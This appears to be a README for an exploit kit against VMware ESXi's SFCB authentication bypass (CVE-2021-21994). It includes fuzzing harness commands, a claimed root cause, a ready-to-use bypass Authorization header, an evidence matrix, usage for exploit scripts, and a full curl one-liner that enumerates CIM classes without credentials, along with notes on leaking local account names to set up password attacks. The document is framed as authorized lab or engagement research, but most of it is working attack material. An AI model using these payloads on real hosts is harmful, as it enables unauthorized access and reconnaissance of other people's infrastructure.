
Validates and exploits VMware ESXi SFCB authentication bypass (CVE-2021-21994) via a probe/fuzz harness, enabling unauthenticated CIM-XML enumeration.
| Field | Value |
|---|
| Type | CWE-287 Improper Authentication (auth bypass) |
| Component | SFCB (Small Footprint CIM Broker) inside VMware ESXi |
| Attack vector | Network, TCP 5989 (CIM-XML over HTTPS), "specially crafted request" |
| Affected | ESXi 6.5 / 6.7 / 7.0 before VMSA-2021-0014 (July 2021) |
| Fix | VMSA-2021-0014 patch builds |
| Public PoC | None. VMware never disclosed the request shape |
References: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
Because no PoC exists, this kit is a find-it-yourself harness: sfcb_probe.py
validates an oracle (check) then throws a targeted mutation dictionary at
/cimom (fuzz) and flags any 200-with-CIM-body obtained without valid
credentials.
Use only against your own lab VM or targets explicitly inside an authorized engagement scope.
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # must LISTEN
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
The bypass was found. Root cause: sfcbd fails OPEN when the Basic auth
token does not decode into a user:password pair containing a :.
Minimal PoC header (base64 of root, no colon):
Authorization: Basic cm9vdA==
Evidence matrix from the fuzz run:
| Request shape | Status | Meaning |
|---|---|---|
no header / valid user:pass b64 / : / root: | 401 | colon present → auth runs → rejected |
b64("root") (no colon) | 200 + CIM body | no colon → auth skipped |
b64("\0:\0") (empty C-string) | 200 | same: no colon |
invalid base64 (space / BOM / Basic prefix) | 200 | decode failure → auth skipped |
Basic\tTOKEN (tab separator) | 401 | any-WSP split parses fine → auth runs |
Basic␣␣TOKEN (double space) | 200 | single-space split → token starts with space → decode fails |
A 200 response carries a CIM-XML envelope dispatched inside the CIMOM
(e.g. ERROR CODE="5" Class not found), proving the HTTP auth layer was
passed — the identical request without the malformed header returns 401.
Exploit usage:
python3 sfcb_exploit.py verify 192.168.x.x # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
curl one-liner for report screenshots:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
Impact: unauthenticated read access to the CIM broker:
VMware_Identity instances leak all ESXi local
accounts (observed on lab 6.5: root, dcui, vpxuser — vCenter-managed
host — plus custom users), enabling targeted password attacks.VMware_RoleBasedAuthorizationService,
CIM_PrivilegeManagementService) declare DMTF profile methods
(AssignRoles, AssignAccess, ...) but expose no instances — the
methods are schema-only. Account creation/modification via CIM is not
possible with this CVE; impact ceiling is unauthenticated information
disclosure.Verdicts:
BYPASS-STRONG — HTTP 200 + CIM-XML body with no valid credentials → you
found the bypass; the dumped request is your exploit primitive.bypass-weak(200-no-cim-body) — 200 but no CIM body; inspect the dump.blocked / info(400) — rejected. Note: a 400 usually means the request
died before auth was evaluated — still interesting, just not a bypass.Note on hand-made CIM bodies: per DSP0200, EnumerateInstanceNames requires
the ClassName IPARAMVALUE. A body without it can be rejected for reasons
unrelated to auth and poison the oracle — the harness always sends the
spec-correct body.
The fuzzer covers the classic HTTP auth-parser confusion shapes. If none hit, the remaining (and definitive) path is binary diffing:
esx-base VIB for a vulnerable build (e.g. 6.5.0 GA-class) and a
VMSA-2021-0014-patched 6.5/6.7/7.0 build from VMware's public depot index:
https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar archives → vib payload → cpio), diff
sfcbd* binaries with Ghidra + BinDiff.sfcb on SourceForge) is a useful
structural reference for the HTTP+auth code path even though ESXi's fork
is modified.